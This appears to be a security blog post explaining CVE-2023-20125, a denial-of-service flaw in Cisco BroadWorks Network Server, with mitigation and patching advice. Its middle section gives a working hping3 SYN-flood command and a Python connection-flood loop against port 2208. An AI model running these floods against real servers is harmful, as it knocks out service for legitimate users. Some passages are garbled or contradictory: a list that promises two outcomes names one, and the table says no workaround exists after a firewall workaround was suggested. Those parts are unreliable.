CVE-2023-20125 - Exploiting a Cisco BroadWorks Network Server DoS Vulnerability

This long-read post details CVE-2023-20125, a denial-of-service (DoS) vulnerability discovered in Cisco BroadWorks Network Server. The bug allows an unauthenticated remote attacker to flood the server with TCP connections, quickly exhausting system resources and making the server unresponsive. Below, we break down how this flaw works, provide code snippets to demonstrate the issue, and offer exclusive insight into its exploitability and mitigation. For reference, see the official Cisco Advisory.

Why Is It Dangerous?

Normally, servers implement rate limiting to prevent abuse from high-volume traffic, especially on login or management interfaces. In this case, Cisco BroadWorks' local interface forgot to do that for specific TCP connections, giving attackers a free pass to overwhelm the system, even without any credentials.

Real-World Effects

If an attacker exploits this vulnerability, legitimate users experience outages or severe slowdowns. Services depending on BroadWorks may break entirely until administrators notice and either restart the software or reboot the entire server node.

How the Exploit Works

This vulnerability is alarmingly simple to exploit. An attacker only needs network access to the server's receptive TCP port—often exposed within enterprise environments.

The attacker then rapidly sends new TCP connection requests (SYN packets). Since the server isn’t rate-limiting these connections, its own resources (like connection tables, memory, CPU) are quickly consumed. This leads to one of two outcomes:

Existing connections are dropped, causing service interruptions.

The attack does not need valid authentication credentials or any prior knowledge about the application itself.

Code Snippet: Quick Exploit Using hping3

Here’s how you could simulate the attack in a lab environment (do not attack systems you don’t own):

# Replace 10...1 with target BroadWorks Network Server IP
hping3 -S --flood -p 2208 10...1

Python-based Example

import socket

target = '10...1'   # Target Cisco BroadWorks server
port = 2208           # Replace with vulnerable TCP port

while True:
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((target, port))
        # Optionally, do not close the socket to further consume resources
    except Exception as ex:
        pass  # Ignore failures, just keep going

> Warning: This is for educational purposes in a test environment only.

TCP connection counters quickly rising

Admins can use OS-native commands (netstat -an, ss -n, resource monitors) to check for surges in connection counts.

Recovery

Cisco’s own advisory (“Cisco Security Advisory: Cisco BroadWorks Network Server Denial of Service Vulnerability”) says:

Mitigation & Fix

Important: Cisco has released software updates that patch this vulnerability. All customers should:

Check Software Version: Determine current version via BroadWorks admin interface or CLI.

2. Apply Patch: Visit Cisco’s official update page for instructions.

Monitor Logs: Look for unusual surges on affected ports.

4. Implement Network Protections: If patching is delayed, consider placing the BroadWorks server behind an internal firewall, limiting access strictly to authorized hosts.

Key References

- Cisco’s Official Advisory: CVE-2023-20125
- CVE Description at NIST NVD

Summary Table

| Vector | Description |
|-------------------------|-----------------------------------------|
| Attack complexity | Low |
| Required privileges | None |
| Affected versions | See Cisco advisory |
| Remediation | Patch only; no workaround |
| Exploit availability | Simple to create (see above) |

Final Thoughts

CVE-2023-20125 is a clear example of how missing a basic safeguard, like TCP rate limiting, in a “local” interface can give attackers an easy path to make critical telecom servers useless. If you run Cisco BroadWorks in any capacity, patch immediately and double-check your network exposure.

Stay aware, stay patched!

For further reading and official updates, always consult Cisco’s security center.


*(This post is for educational purposes and responsible disclosure advocacy. Do not use this information to target networks you don’t own or manage.)*

Timeline

Published on: 11/15/2024 14:58:04 UTC